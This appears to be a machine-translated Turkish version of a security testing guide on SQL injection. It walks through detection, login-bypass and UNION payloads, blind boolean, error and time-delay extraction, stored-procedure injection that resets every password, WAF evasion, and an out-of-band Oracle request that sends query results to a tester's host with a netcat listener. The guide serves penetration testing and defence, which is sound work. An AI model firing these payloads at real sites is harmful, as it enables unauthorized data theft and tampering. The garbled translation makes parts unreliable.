Testing for SQL Injection (SQL Enjeksiyonu için test)

Summary (Özet)

SQL enjeksiyon testi, veri veritabanında kullanıcı kontrollü bir SQL sorgusu yürütecek şekilde uygulamaya veri enjekte etmenin mümkün olup olmadığını kontrol eder. Testçiler, uygulama uygun giriş doğrulaması olmadan SQL sorguları oluşturmak için kullanıcı girişi kullanırsa SQL enjeksiyonu güvenlik açığı bulur. Bu güvenlik açığı sınıfının başarılı bir şekilde sömürülmesi, yetkisiz bir kullanıcının veri tabanındaki verilere erişmesini veya manipüle etmesini sağlar.

SQL enjeksiyon saldırısı, veri girişi yoluyla kısmi veya eksiksiz bir SQL sorgusunun eklenmesinden veya istemciden (kardeşi) web uygulamasına iletilmesinden oluşur. Başarılı bir SQL enjeksiyonu, veritabanından hassas verileri okuyabilir, veritabanı verilerini (karmaşık / güncelleme / silmeyi)
değiştirebilir, veritabanındaki yönetim işlemlerini yürütebilir (DBMS'yi kapatma gibi), DBMS dosya sisteminde mevcut olan belirli bir dosyanın içeriğini geri kazanabilir veya dosya sistemine dosya yazabilir ve bazı durumlarda işletim sistemine komutlar verebilir. SQL enjeksiyon saldırıları, önceden tanımlanmış SQL komutlarının uygulanmasını etkilemek için SQL komutlarının veri düzlemi girdisine enjekte edildiği bir enjeksiyon saldırısı türüdür.

Genel olarak, web uygulamalarının programcılar tarafından yazılan SQL sözdizimi içeren SQL ekstrelerini oluşturma şekli, kullanıcı tarafından sağlanan verilerle karıştırılır. Örnek:

`select title, text from news where id=$id`

Değişkenin üstündeki örnekte `$id` Kullanıcı tarafından sağlanan veriler içerirken, geri kalanı programcı tarafından sağlanan SQL statik parçasıdır; SQL ekstresini dinamik hale getirir.

Oluşturulma şekli nedeniyle, kullanıcı orijinal SQL ekinin kullanıcının seçiminin daha fazla eylemini gerçekleştirmesini sağlamaya çalışan giriş sağlayabilir. Aşağıdaki örnek, kullanıcı tarafından

sağlanan verileri “10 veya 1 = 1”, SQL ifadesinin mantığını değiştirerek, NEREDE “veya 1 = 1” bir koşul ekleyen maddeyi değiştirir.

```
select title, text from news where id=10 or 1=1
```

SQL Injection saldırıları aşağıdaki üç sınıfa ayrılabilir:

- Bant: Veriler SQL kodunu enjekte etmek için kullanılan aynı kanal kullanılarak çıkarılır. Bu, geri alınan verilerin doğrudan uygulama web sayfasında sunulduğu en basit saldırı türüdür.
- Bant dışı: veriler farklı bir kanal kullanılarak alınır (örneğin,sorgunun sonuçları olan bir e-posta üretilir ve test cihazına gönderilir).
- Verimsiz veya Kör: gerçek veri aktarımı yoktur, ancak test cihazı belirli istekler göndererek ve DB Server'ın ortaya çıkan davranışını gözlemleyerek bilgileri yeniden oluşturabilir.

Başarılı bir SQL Enjeksiyonu saldırısı, saldırganın sözdizimi doğru bir SQL Query oluşturmasını gerektirir. Uygulama yanlış bir sorgu tarafından oluşturulan bir hata iletisini iade ederse, bir saldırganın orijinal sorgunun mantığını yeniden yapılandırması ve bu nedenle enjeksiyonun nasıl doğru gerçekleştirileceğini anlaması daha kolay olabilir. Ancak, uygulama hata ayrıntılarını gizlerse, test cihazı orijinal sorgunun mantığını tersine çevirebilmelidir.

SQL enjeksiyon kusurlarından yararlanma teknikleri hakkında beş yaygın teknik vardır. Ayrıca bu teknikler bazen birleşik bir şekilde kullanılabilir (örneğin sendika operatörü ve bant dışı):

- Union Operator: SQL enjeksiyon kusuru bir SEÇİMİ bir beyanda gerçekleştiğinde kullanılabilir, bu da iki sorguyu tek bir sonuç veya sonuç setinde birleştirmeyi mümkün kılar.
- Boolian: Belirli koşulların doğru veya yanlış olup olmadığını doğrulamak için Boolean durumlarını kullanın.
- Hataya dayalı: bu teknik veritabanını bir hata oluşturmaya zorlar ve saldırgana enjeksiyonlarını rafine etmek için bilgi verir.
- Bant dışı: farklı bir kanal kullanarak verileri almak için kullanılan teknik (örneğin, sonuçları bir web sunucusuna göndermek için bir HTTP bağlantısı oluşturun).

- Zaman gecikmesi: koşullu sorgulardaki cevapları geciktirmek için veritabanı komutlarını (örneğin uyku) kullanın. Saldırgan uygulamadan bir tür cevap (sonuç, çıkış veya hata) sahip olmadığında yararlıdır.

Test Objectives (Test Hedefleri)

- SQL enjeksiyon noktalarını belirleyin.
- Enjeksiyonun ciddiyetini ve bunun üzerinden elde edilebilecek erişim seviyesini değerlendirin.

How to Test (Nasıl Test Edilir)

Detection Techniques (Algılama Teknikleri)

Bu testteki ilk adım, uygulamanın bazı verilere erişmek için bir DB Sunucusu ile ne zaman etkileşime girdiğini anlamaktır. Bir uygulamanın bir DB ile konuşması gereken vakaların tipik örnekleri şunları içerir:

- Kimlik doğrulama formu: kimlik doğrulama bir web formu kullanılarak gerçekleştirildiğinde, kullanıcı kimlik bilgilerinin tüm kullanıcı adları ve şifreleri (veya daha iyi, şifre hashlerini) içeren
  bir veritabanına karşı kontrol edilmesi olasılığıdır.
- Arama motorları: Kullanıcı tarafından gönderilen dize, bir veritabanından ilgili tüm kayıtları çıkaran bir SQL sorgusunda kullanılabilir.
- E-Ticaret siteleri: Ürünlerin ve özellikleri (fiyat, açıklama, kullanılabilirlik vb.) bir veritabanında saklanması çok muhtemeldir.

Test cihazı, POST isteklerinin gizli alanları da dahil olmak üzere bir SQL sorgusu oluşturmada değerleri kullanılabilecek tüm giriş alanlarının bir listesini yapmalı ve daha sonra bunları ayrı olarak test etmeli, sorguya müdahale etmeye ve bir hata oluşturmaya çalışmak zorundadır. Ayrıca HTTP başlıklarını ve çerezleri de düşünün.

İlk test genellikle tek bir alıntı eklemekten oluşur. `'`ya da bir yarı koloni `;`Test altında sahaya veya parametreye. İlki SQL'de bir dize terminatörü olarak kullanılır ve uygulama tarafından filtrelenmezse yanlış bir sorguya yol açar. İkincisi, bir SQL ifadesini sona erdirmek için

kullanılır ve filtrelenmemişse, bir hata oluşturması da muhtemeldir. Savunmasız bir alanın çıktısı aşağıdakilere benzeyebilir (bu durumda bir Microsoft SQL Server'da):

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark b
efore the
character string ''.
/target/target.asp, line 113
```

Ayrıca yorum yapanlar (`--` ya da `/* */`, vb. ve diğer SQL anahtar kelimeleri `AND` ve `OR` Sorguyu değiştirmeye çalışmak için kullanılabilir. Çok basit ama bazen hala etkili bir teknik, aşağıdaki gibi bir hata oluşturulabileceğinden, bir sayının beklendiği bir dize eklemektir:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
```

Web sunucusundan gelen tüm yanıtları izleyin ve HTML / JavaScript kaynak koduna bir göz atın. Bazen hata onların içinde bulunur, ancak bir nedenden dolayı (örneğin. JavaScript hatası, HTML yorumları vb.) Kullanıcıya sunulmamıştır. Örneklerdekiler gibi tam bir hata mesajı, başarılı bir enjeksiyon saldırısı düzenlemek için test cihazına çok sayıda bilgi sağlar. Bununla birlikte, uygulamalar genellikle çok fazla ayrıntı vermez: basit bir '500 Sunucu Hatası' veya özel bir hata sayfası yayınlanabilir, yani kör enjeksiyon tekniklerini kullanmamız gerekir. Her durumda, her alanı ayrı olarak test etmek çok önemlidir: hangi parametrelerin savunmasız olduğunu ve hangilerinin olmadığını tam olarak anlamak için diğer tüm değişkenler sabit kalırken sadece bir değişken
değişmelidir.

Standard SQL Injection Testing (Standart SQL Enjeksiyon Testi)

Classic SQL Injection (Klasik SQL Enjeksiyonu)

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

```
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
```

Benzer bir sorgu, bir kullanıcıyı doğrulamak için genellikle web uygulamasından kullanılır. Sorgu bir değer döndürürse, veritabanının içinde bu kimlik bilgilerine sahip bir kullanıcının var olduğu anlamına gelir, kullanıcının sisteme giriş yapmasına izin verilir, aksi takdirde erişim reddedilir. Giriş alanlarının değerleri genellikle kullanıcıdan bir web formu aracılığıyla elde edilir. Aşağıdaki Kullanıcı adı ve Şifre değerlerini eklediğimizi varsayalım:

```
$username = 1' or '1' = '1
```

```
$password = 1' or '1' = '1
```

Sorgu şu olacak:

```
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
```

Parametrelerin değerlerinin GET yöntemiyle sunucuya gönderildiğini varsayarsak ve savunmasız web sitesinin etki alanı www.example.com ise gerçekleştireceğimiz istek olacaktır:

```
http://www.example.com/index.php?
username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1
```

Kısa bir analizden sonra, sorgunun bir değer (veya bir dizi değer) döndürdüğünü fark ediyoruz, çünkü durum her zaman doğrudur (OR 1 = 1). Bu şekilde sistem kullanıcı adı ve şifreyi bilmeden kullanıcıyı doğrulamıştır.

> Bazı sistemlerde bir kullanıcı tablosunun ilk satırı bir yönetici kullanıcısı olacaktır. Bu, bazı durumlarda iade edilen profil olabilir.

Bir başka sorgu örneği aşağıdaki gibidir:

```
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
```

Bu durumda, biri parantez kullanımı ve biri MD5 hash fonksiyonunun kullanımı nedeniyle olmak üzere iki sorun vardır. Her şeyden önce, parantez sorununu çözeriz. Bu, düzeltilmiş bir sorgu elde edene kadar bir dizi kapanış parantezi eklemekten ibarettir. İkinci sorunu çözmek için ikinci durumdan kaçınmaya çalışıyoruz. Sorguya son bir sembolü ekliyoruz, bu da bir yorumun başladığı anlamına geliyor. Bu sayede böyle bir sembolü takip eden her şey bir yorum olarak kabul edilir. Her
DBMS'nin yorum için kendi söz tahlili vardır, ancak veritabanlarının daha büyük

çoğunluğu için ortak bir semboldür.
`*`. . Oracle'da semboldür `--`. . Bununla birlikte, Kullanıcı adı ve Şifre olarak kullanacağımız değerler şunlardır:

`$username = 1' or '1' = '1'))/*`

`$password = foo`

Bu sayede aşağıdaki soruyu alacağız:

`SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))`

(Bir yorum sınırlamasının $ kullanıcı adı değerine dahil edilmesi nedeniyle sorgunun şifre kısmı göz ardı edilecektir.)

URL isteği şöyle olacaktır:

`http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo`

Bu bir dizi değer verebilir. Bazen, kimlik doğrulama kodu, iade edilen kayıt / sonuç sayısının tam olarak 1'e eşit olduğunu doğrular. Önceki örneklerde, bu durum zor olacaktır (verabanalizasyonda kullanıcı başına sadece bir değer vardır). Bu sorunun üstesinden gelmek için, iade edilen sonuçların sayısının bir olması gerektiği koşulu getiren bir SQL komutu eklemek yeterlidir. (Bir rekor iade edildi) Bu hedefe ulaşmak için operatörü kullanıyoruz `LIMIT <num>`, nerede `<num>` Geri dönmek istediğimiz sonuçların/kayıtların sayısıdır. Önceki örnekle ilgili olarak, Alanların değeri Kullanıcı Adı ve Şifresi aşağıdaki şekilde değiştirilecektir:

`$username = 1' or '1' = '1')) LIMIT 1/*`

`$password = foo`

Bu sayede aşağıdaki gibi bir istek oluştururuz:

`http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo`

SELECT Statement (SEÇKIN Beyanı)

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

`SELECT * FROM products WHERE id_product=$id_product`

Ayrıca yukarıdaki sorguyu yürüten bir senaryonun talebini de dikkate alın:

`http://www.example.com/product.php?id=10`

Test cihazı geçerli bir değer denediğinde (örneğin bu durumda 10), uygulama bir ürünün açıklamasını iade edecektir. Uygulamanın bu senaryoda savunmasız olup olmadığını test etmenin iyi bir yolu, operatörleri ve ve OR ayı kullanılarak mantıkla oynamaktır.

Talebi göz önünde bulundurun:

```
http://www.example.com/product.php?id=10 AND 1=2
```

```
SELECT * FROM products WHERE id_product=10 AND 1=2
```

Bu durumda, muhtemelen uygulama bize hiçbir içerik veya boş bir sayfa olmadığını söyleyen bazı mesajlara geri dönecektir. Ardından testçi gerçek bir ifade gönderebilir ve geçerli bir sonuç olup olmadığını kontrol edebilir:

```
http://www.example.com/product.php?id=10 AND 1=1
```

Stacked Queries (Yığılmış Sorgular)

Web uygulamasının kullandığı API'ye ve DBMS'ye (örneğin. PHP + PostgreSQL, ASP + SQL SERVER) Tek bir aramada birden fazla sorgu yürütmek mümkün olabilir.

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

```
SELECT * FROM products WHERE id_product=$id_product
```

Yukarıdaki senaryoyu kullanmanın bir yolu şu olurdu:

```
http://www.example.com/product.php?id=10; INSERT INTO users (...)
```

Bu şekilde, birçok sorguyu üst üste ve ilk sorgudan bağımsız olarak yürütmek mümkündür.

Fingerprinting the Database (Veritabanı Parmak Izi Yazmak)

SQL dili bir standart olmasına rağmen, her DBMS kendine özgü bir özelliğine sahiptir ve özel komutlar, kullanıcı adları ve veritabanları, özellikleri, yorum satırı vb. Gibi verileri almak için işlevler gibi birçok açıdan birbirinden farklıdır.

Testçiler daha gelişmiş bir SQL enjeksiyon sömürüsüne geçtiklerinde, arka uç veritabanının ne olduğunu bilmeleri gerekir.

Errors Returned by the Application (Uygulama ile iade edilen hatalar)

Back end veritabanının hangi arka uç veri tabanının kullanıldığını öğrenmenin ilk yolu, uygulama tarafından iade edilen hatayı gözlemlemektir. Aşağıdakiler hata mesajlarının bazı örnekleridir:

MySql:

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1
```

Bir tam bir UNION SEÇME sürümü() ile birlikte arka uç veritabanını da bilmeye yardımcı olabilir.

```
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1
```

Oracle:

```
ORA-00933: SQL command not properly ended
```

MS SQL Server:

```
Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string
```

```
SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
```

PostgresCL:

```
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.
```

Hata mesajı veya özel bir hata mesajı yoksa, test cihazı değişen bulaşma tekniklerini kullanarak dize alanlarına enjekte etmeyi deneyebilir:

- MySql: “test” + ‘ing’
- SQL Server: “Test” ‘ing’
- Oracle: “Test” “Yang”
- PostgresSQL: “Test” “Yang”

Exploitation Techniques (Sömürü Teknikleri)

Union Exploitation Technique (Sendika Sömürü Tekniği)

UNION operatörü, SQL enjeksiyonlarında, test cihazı tarafından kasıtlı olarak dövülen bir sorguya orijinal sorguya katılmak için kullanılır. Sahte sorgunun sonucu, testçinin diğer tabloların sütunlarının değerlerini elde etmesine izin veren orijinal sorgunun sonucuna birleştirilecektir. Örneklerimiz için sunucudan gerçekleştirilen sorgunun aşağıdaki olduğunu varsayalım:

```
SELECT Name, Phone, Address FROM Users WHERE Id=$id
```

Biz aşağıdakileri ayarlayacağız `$id` Değer:

```
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

Şu sorgulamayı yapacağız:

```
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

Bu da orijinal sorgunun sonucuna CreditCardTable tablosundaki tüm kredi kartı numaralarıyla katılacak. Anahtar kelime `ALL` Anahtar kelimeyi kullanan sorguları aşmak için gereklidir `DISTINCT` .
. Dahası, kredi kartı numaralarının ötesinde, iki değeri daha seçtiğimizi fark ediyoruz. Bu iki değer gereklidir, çünkü iki sorgunun bir sözdizimi hatasını önlemek için eşit sayıda parametre / sütuna sahip olması gerekir.

Bir testçinin bu tekniği kullanarak SQL enjeksiyonu güvenlik açığından yararlanması gereken ilk detay, SEÇKINDöz ifadesinde doğru sütun numaralarını bulmaktır.

Bunu başarmak için testçinin kullanabileceği `ORDER BY` Madde, ardından veritabanının kaleme alınmasının okunmasını belirten bir sayı:

```
http://www.example.com/product.php?id=10 ORDER BY 10--
```

Sorgu başarıyla uygulanıyorsa, testçi varsayırıcı, bu örnekte 10 veya daha fazla sütun vardır. `SELECT` İfade. Sorgu başarısız olursa, sorgu tarafından iade edilen 10 sütundan daha
az olması gerekir. Eğer bir hata mesajı varsa, muhtemelen şunlar olacaktır:

```
Unknown column '10' in 'order clause'
```

Test cihazı sütunların sayısını öğrendikten sonra, bir sonraki adım sütunların türünü bulmaktır. Yukarıdaki örnekte 3 sütun olduğunu varsayarsak, test cihazı onlara yardımcı olmak için NULL değerini kullanarak her sütun türünü deneyebilir:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
```

Sorgu başarısız olursa, testçi muhtemelen şöyle bir mesaj görecektir:

```
All cells in a column must have the same datatype
```

Sorgu başarıyla gerçekleştirilirse, ilk sütun bir bütünleştirici olabilir. Daha sonra testçi daha da ileri gidebilir:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
```

Başarılı bilgi toplamadan sonra, uygulamaya bağlı olarak, test cihazına sadece ilk sonucu gösterebilir, çünkü uygulama belirlenen sonucun yalnızca ilk satırını tedavi eder. Bu durumda bir tane kullanmak mümkündür `LIMIT` Madde veya test cihazı,

yalnızca ikinci sorguyu geçerli hale getirerek geçersiz bir değer belirleyebilir (yazarlamada kimlik 99999 olan veritabanında bir giriş yoktur):

```
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
```

Boolean Exploitation Technique (Boolean Sömürü Tekniği)

Boolean sömürü tekniği, testçi bir operasyonun sonucu hakkında hiçbir şeyin bilinmediği bir Kör SQL Enjeksiyonu durumu bulduğunda çok yararlıdır. Örneğin, bu davranış, programcının
sorgunun yapısında veya veritabanında hiçbir şey ortaya koymayan bir özel hata sayfası oluşturduğu durumlarda gerçekleşir. (Sayfa bir SQL hatasına geri dönmez, sadece bir HTTP 500, 404 veya yönlendirmeyi iade edebilir).

Çıkarım yöntemlerini kullanarak bu engeli önlemek ve böylece istenen bazı alanların değerlerini geri kazanmada başarılı olmak mümkündür. Bu yöntem, sunucuya karşı bir dizi boolean sorgusu yürütmekten, cevapları gözlemlemekten ve sonunda bu tür cevapların anlamını ortaya çıkarmaktan
oluşur. Her zaman olduğu gibi, www.example.com etki alanını göz önünde bulunduruyoruz ve bunun bir parametre içerdiğini varsayıyoruz.
`id` SQL enjeksiyonuna karşı savunmasız. Bu, aşağıdaki isteğin gerçekleştirildiği anlamına gelir:

```
http://www.example.com/index.php?id=1'
```

Sorguda bir sözdizimi hatasından kaynaklanan özel bir mesaj hatası olan bir sayfa alacağız. Sunucuda yapılan sorgunun şunlar olduğunu varsayıyoruz:

```
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
```

Bu, daha önce görülen yöntemlerle sömürülebilir. Elde etmek istediğimiz şey kullanıcı adı alanının değerleridir. Yürüteceğimiz testler, kullanıcı adı alanının değerini elde etmemizi sağlayacak ve bu
değer karakterini karaktere göre çıkaracaktır. Bu, pratik olarak her veritabanında bulunan bazı standart işlevlerin kullanımıyla mümkündür. Örneklerimiz için aşağıdaki sahte işlevleri kullanacağız:

- SU BÜLTEN (met, başlangıç, uzunluk): Metin ve uzunluk “uzunluk”konumundan başlayarak bir alt böreği döndürür. “Başlat” metin uzunluğundan daha büyükse, fonksiyon bir hükümsüz değer döndürür.

- ASCII (char): Giriş karakterinin ASCII değerini geri verir. char 0 ise bir noll değeri iade edilir.
- UZUNLUK (metin): Giriş metnindeki karakter sayısını geri verir.

Bu tür işlevler sayesinde, testlerimizi ilk karakter üzerinde gerçekleştireceğiz ve değeri keşfettiğimizde, tüm değeri keşfedene kadar ikincisine geçeceğiz. Testler, bir seferde yalnızca bir karakter seçmek için (uzunluk parametresini 1) ve ASCII değerini elde etmek için işlevi ASIII'yi almak için işlevin ALT KİŞİ'den yararlanacaktır. Karşılaştırmanın sonuçları, doğru değer bulunana kadar ASCII tablosunun tüm değerleri ile yapılacaktır. Örnek olarak, aşağıdaki değeri kullanacağız `Id` : : `$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1`

Bu, şu andan itibaren (şu andan itibaren buna “ferit sorgu” olarak adlandıracağız):

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
```

Önceki örnek, alan kullanıcı adının ilk karakterinin ASCII değeri 97'ye eşit olması durumunda ve ancak bir sonuç döndürür. Yanlış bir değer alırsak, ASCII tablosunun endeksini 97'den 98'e çıkarırız ve talebi tekrarlar. Bunun yerine gerçek bir değer elde edersek, ASCII tablosunun indeksini sıfırlamaya ayarlanırız ve bir sonraki karakteri analiz ederek SUBSTRING işlevinin parametrelerini değiştiririz. Sorun, gerçek bir değeri yanlış gelenlerden döndüren testleri hangi şekilde ayırt edebileceğimizi anlamaktır. Bunu yapmak için, her zaman yanlış bir şekilde karşılık veren bir sorgu yaratırız. Bu, aşağıdaki değeri kullanarak mümkündür. `Id` : :

```
$Id=1' AND '1' = '2
```

Bu da aşağıdaki sorguyu oluşturacaktır:

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
```

Sunucudan elde edilen yanıt (bu HTML kodudur) testlerimiz için yanlış değer olacaktır. Bu, kısır sorgunun yürütülmesinden elde edilen değerin daha önce gerçekleştirilen testle elde edilen değere eşit olup olmadığını doğrulamak için yeterlidir. Bazen bu yöntem işe yaramaz. Sunucu, iki aynı ardışık web isteğinin bir sonucu olarak iki farklı sayfa döndürürse, gerçek değeri yanlış değerden ayıramayacağız. Bu özel durumlarda, iki istek arasında değişen kodu ortadan kaldırmamıza ve bir
şablon edinmemize izin veren belirli filtreleri kullanmak gerekir. Daha sonra, yürütülen her verimsiz istek için, aynı işlevi kullanarak yanıttan göreceli şablonu

çıkaracağız ve testin sonucunu belirlemek için iki şablon arasında bir kontrol gerçekleştireceğiz.

Önceki tartışmada, dışa aktarma testleri için fesih durumunu belirleme sorununu, yani çıkarım prosedürünü ne zaman sonlandırmamız gerektiğini ele almadık. Bunu yapmak için yapılan bir teknik, SUBSTRING fonksiyonunun ve UZUNLUK fonksiyonunun bir özelliğini kullanır. Test,
mevcut karakteri ASCII kodu 0 (yani değer reddi) ile karşılaştırdığında ve test değeri doğru döndürdüğünde, ya çıkarım prosedürüyle işimiz biter (tüm ipi taradık) veya analiz ettiğimiz değer hükümsüz karakteri içerir.

Saha için aşağıdaki değeri ekleyeceğiz `Id` : : `$Id=1' AND LENGTH(username)=N AND '1' = '1`

N'nin şu ana kadar analiz ettiğimiz karakter sayısı olduğu yer (fırın değerini saymazsak). Sorgu şu olacak:

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
```

Sorguya doğru ya da yanlıştır. Eğer doğru çıkarsak, o zaman çıkarımı tamamladık ve bu nedenle parametrenin değerini biliyoruz. Yanlış elde edersek, bu, geçersiz karakterin parametrenin değerinde bulunduğu anlamına gelir ve başka bir sonuç değeri bulana kadar bir sonraki parametreyi analiz etmeye devam etmeliyiz.

Kör SQL enjeksiyon saldırısının yüksek miktarda sorguya ihtiyacı vardır. Test cihazı, güvenlik açığından yararlanmak için otomatik bir araca ihtiyaç duyabilir.

Error Based Exploitation Technique (Hataya Dayalı Sömürü Tekniği)

Bir Hata tabanlı sömürü tekniği, testçi bir nedenden dolayı SQL enjeksiyonu güvenlik açığını UNION gibi diğer teknikleri kullanarak kullanamadığında yararlıdır. Hata tabanlı teknik, veritabanının sonucun bir hata olacağı bir miktar işlemi gerçekleştirmeye zorlamak için oluşur. Buradaki nokta, veri tabanından bazı verileri çıkarmaya çalışmak ve hata mesajında göstermektir. Bu sömürü tekniği DBMS'den DBMS'ye (DBMS'ye özel bölümü kontrol edin) farklı olabilir.

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

```
SELECT * FROM products WHERE id_product=$id_product
```

Ayrıca yukarıdaki sorguyu yürüten bir senaryonun talebini de dikkate alın:

```
http://www.example.com/product.php?id=10
```

Kötü niyetli talep olacaktır (ör. Oracle 10g):

```
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
```

Bu örnekte test cihazı fonksiyonun sonucu olarak değer 10'u karşılıyor `UTL_INADDR.GET_HOST_NAME` .
. Bu Oracle işlevi, kendisine aktarılan parametrenin ana bilgisayar adını iade etmeye çalışacaktır, bu da kullanıcının adı olan diğer sorgulardır. Veritabanı kullanıcı veritabanı adı ile bir ana bilgisayar
ararken, başarısız olur ve aşağıdaki gibi bir hata mesajı döndürür:

```
ORA-292257: host SCOTT unknown
```

Daha sonra test cihazı GET_HOST_NAME() fonksiyonuna geçen parametreyi manipüle edebilir ve sonuç hata mesajında gösterilir.

Out of Band Exploitation Technique (Band Exploitation Technique Out of Band Altyazıları)

Bu teknik, testçinin bir operasyonun sonucu hakkında hiçbir şeyin bilinmediği bir Kör SQL Enjeksiyonu durumu bulduğunda çok yararlıdır. Teknik, bant bağlantısından bir işlem yapmak ve test cihazının sunucusuna isteğin bir parçası olarak enjekte edilen sorgunun sonuçlarını sunmak için DBMS işlevlerinin kullanılmasından oluşur. Hataya dayalı teknikler gibi, her DBMS'nin
kendi işlevleri vardır. Belirli DBMS bölümünü kontrol edin.

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

```
SELECT * FROM products WHERE id_product=$id_product
```

Ayrıca yukarıdaki sorguyu yürüten bir senaryonun talebini de dikkate alın:

```
http://www.example.com/product.php?id=10
```

Kötü niyetli talep şu olacaktır:

```
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELECT user FROM DUAL)--
```

Bu örnekte test cihazı fonksiyonun sonucu olarak değer 10'u karşılıyor `UTL_HTTP.request` . . Bu Oracle işlevi bağlantı kurmaya çalışacak `testerserver` ve sorgudan dönüşü içeren bir HTTP ALA NET isteğinde bulunun `SELECT user FROM DUAL` .
. Test cihazı bir web sunucusu kurabilir (örneğin. Apache) veya Netcat aracını kullanın:

```
/home/tester/nc –nLp 80
```

```
GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
```

Time Delay Exploitation Technique (Zaman Erteleme Sömürü Tekniği)

Zaman gecikmesi sömürü tekniği, testçinin bir operasyonun sonucu hakkında hiçbir şeyin bilinmediği bir Kör SQL Enjeksiyon durumu bulduğunda çok yararlıdır. Bu teknik enjekte edilen bir sorgu göndermekten oluşur ve şartlının doğru olması durumunda, test cihazı sunucunun yanıt vermesi için gereken süreyi izleyebilir. Bir gecikme varsa, test cihazı şartlı sorgunun sonucunun doğru olduğunu varsayabilir. Bu sömürü tekniği DBMS'den DBMS'ye (DBMS'ye özel bölümü kontrol edin) farklı olabilir.

Aşağıdaki SQL sorgusunu göz önünde bulundurun:

```
SELECT * FROM products WHERE id_product=$id_product
```

Ayrıca yukarıdaki sorguyu yürüten bir senaryonun talebini de dikkate alın:

```
http://www.example.com/product.php?id=10
```

Kötü niyetli talep olacaktır (ör. MySql 5.x:

```
http://www.example.com/product.php?id=10 AND IF(version() like '5%', sleep(10), 'false'))--
```

Bu örnekte test cihazı, MySql sürümünün 5.x olup olmadığını kontrol ediyor ve sunucunun cevabı 10 saniye geciktirmesini sağlıyor. Test cihazı gecikme süresini artırabilir ve yanıtları izleyebilir. Testçinin de yanıtı beklemesine gerek yok. Bazen çok yüksek bir değer (örneğin 100) ayarlayabilir ve talebi saniyeler sonra iptal edebilir.

Stored Procedure Injection (Depolanmış Prosedür Enjeksiyonu)

Saklanan bir prosedür içinde dinamik SQL kullanırken, uygulama kod enjeksiyonu riskini ortadan kaldırmak için kullanıcı girişini düzgün bir şekilde dezenfekte etmelidir. Dezenfekte edilmezse, kullanıcı depolanan prosedür içinde yürütülecek kötü amaçlı SQL'i girebilir.

Aşağıdaki SQL Server Mağazası Prosedürü dikkate alın:

```
Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring  = '
Select 1 from users
Where username = ' + @username + ' and passwd = ' + @passwd
exec(@sqlstring)
Go
```

Kullanıcı girişi:

```
anyusername or 1=1'
anypassword
```

Bu prosedür girdiyi sterilize etmez, bu nedenle geri dönüş değerinin bu parametrelerle mevcut bir kayıt göstermesine izin verir.

> Bu örnek, bir kullanıcıda oturum açmak için dinamik SQL kullanımı nedeniyle olası görünmeyebilir, ancak kullanıcının görüntülemek için sütunları seçtiği dinamik bir raporlama sorgusu düşünün. Kullanıcı bu senaryoya kötü amaçlı kod ekleyebilir ve verileri tehlikeye atabilir.

Aşağıdaki SQL Server Mağazası Prosedürü dikkate alın:

```
Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring  = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go
```

Kullanıcı girişi:

```
1 from users; update users set password = 'password'; select *
```

Bu, raporun yayınlanmasına ve tüm kullanıcıların şifrelerinin güncellenmesine neden olacaktır.

Automated Exploitation (Otomatik Sömürü)

Burada sunulan durum ve tekniklerin çoğu, bazı araçlar kullanılarak otomatik olarak gerçekleştirilebilir. Bu makalede test cihazı SQLMap kullanarak otomatik bir denetimin nasıl gerçekleştirileceğini bilgi edinebilir

SQL Injection Signature Evasion Techniques (SQL Enjeksiyon İmzası Kaçaklama Teknikleri)

Teknikler, Web uygulaması güvenlik duvarları (WAF'lar) veya saldırı önleme sistemleri (IPS) gibi savunmaları atlamak için kullanılır. Ayrıca

https://owasp.org/www-community/attacks/SQL_Injection_Bypass_WAF adresine bakın

Whitespace (Beyaz uzay)

SQL ifadesini etkilemeyecek alan bırakmak veya alanlar eklemek. Örneğin

```
or 'a'='a'
```

```
or 'a'  =    'a'
```

SQL ekstresi yürütmesini değiştirmeyecek yeni satır veya sekme gibi özel karakter eklemek. Örneğin,

```
or
'a'=
     'a'
```

